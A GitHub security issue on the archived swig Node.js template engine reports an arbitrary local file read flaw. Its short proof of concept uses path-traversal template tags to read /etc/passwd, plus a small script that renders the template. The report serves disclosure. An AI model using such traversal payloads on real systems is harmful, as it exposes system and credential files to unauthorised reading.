Skip to content
This repository has been archived by the owner on Feb 3, 2023. It is now read-only.

Security Issue: arbitrary local file read vulnerability during template rendering #88

Open
y1nglamore opened this issue Feb 1, 2023 · 0 comments

Comments

@y1nglamore
Copy link

official doc:

poc:

1.html
{% extends '../../../../../etc/passwd' %}
{% include '../../../../../etc/passwd' %}
// run.js
var swig = require('swig');
var output = swig.renderFile('/Users/bytedance/Desktop/swig/tpl.html');
console.log(output);

output:
m1-133941_byZ4O5

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant